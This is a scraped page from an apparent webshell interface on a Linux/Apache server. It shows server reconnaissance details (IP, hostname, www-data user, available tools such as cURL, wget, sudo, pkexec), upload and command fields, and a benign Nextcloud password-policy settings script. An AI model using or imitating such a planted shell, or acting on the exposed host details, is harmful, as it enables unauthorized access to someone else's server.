403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/projects/nextcloud/apps/password_policy/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/projects/nextcloud/apps/password_policy/js/settings-admin.js
/**
 * @copyright Copyright (c) 2016 Bjoern Schiessle <bjoern@schiessle.org>
 *
 * @license GNU AGPL version 3 or any later version
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU Affero General Public License as
 * published by the Free Software Foundation, either version 3 of the
 * License, or (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU Affero General Public License for more details.
 *
 * You should have received a copy of the GNU Affero General Public License
 * along with this program.  If not, see <http://www.gnu.org/licenses/>.
 *
 */

var passwordPolicy = {

	saveNumberValue: function(name, value) {
		OC.msg.startSaving('#password-policy-settings-msg');

		if (/^\d+$/.test(value)) {
			OCP.AppConfig.setValue('password_policy', name, value);
			OC.msg.finishedSaving('#password-policy-settings-msg',
				{
					'status': 'success',
					'data': {
						'message': OC.L10N.translate('password_policy', 'Saved')
					}
				}
			);
		} else {
			var message = OC.L10N.translate('password_policy', 'Unknown error');
			switch (name) {
				case "minLength":
					message = OC.L10N.translate('password_policy', 'Minimal length has to be a non negative number');
					break;
				case "historySize":
					message = OC.L10N.translate('password_policy', 'History size has to be a non negative number');
					break;
				case "expiration":
					message = OC.L10N.translate('password_policy', 'Expiration days have to be a non negative number');
					break;
			}
			OC.msg.finishedSaving('#password-policy-settings-msg',
				{
					'status': 'failure',
					'data': {
						'message': message
					}
				}
			);
		}
	}

};

$(document).ready(function(){
	$('#password-policy-enforce-non-common-password').click(function() {
		var value = '0';
		if (this.checked) {
			value = '1';
		}
		OCP.AppConfig.setValue('password_policy', 'enforceNonCommonPassword', value);
	});
	$('#password-policy-enforce-upper-lower-case').click(function() {
		var value = '0';
		if (this.checked) {
			value = '1';
		}
		OCP.AppConfig.setValue('password_policy', 'enforceUpperLowerCase', value);
	});
	$('#password-policy-enforce-numeric-characters').click(function() {
		var value = '0';
		if (this.checked) {
			value = '1';
		}
		OCP.AppConfig.setValue('password_policy', 'enforceNumericCharacters', value);
	});
	$('#password-policy-enforce-special-characters').click(function() {
		var value = '0';
		if (this.checked) {
			value = '1';
		}
		OCP.AppConfig.setValue('password_policy', 'enforceSpecialCharacters', value);
	});
	$('#password-policy-enforce-have-i-been-pwned').click(function() {
		var value = '0';
		if (this.checked) {
			value = '1';
		}
		OCP.AppConfig.setValue('password_policy', 'enforceHaveIBeenPwned', value);
	});

	// register save handler for number input fields
	[
		{
			elem: '#password-policy-min-length',
			conf: 'minLength',
		},
		{
			elem: '#password-policy-history-size',
			conf: 'historySize',
		},
		{
			elem: '#password-policy-expiration',
			conf: 'expiration',
		},
		{
			elem: '#password-policy-failed-login',
			conf: 'maximumLoginAttempts'
		},
	].forEach(function (configField) {
		console.log(configField);
		$(configField.elem).keyup(function (e) {
			if (e.keyCode === 13) {
				passwordPolicy.saveNumberValue(configField.conf, $(this).val());
			}
		}).focusout(function () {
			passwordPolicy.saveNumberValue(configField.conf, $(this).val());
		});
	})

});

Youez - 2016 - github.com/yon3zu
LinuXploit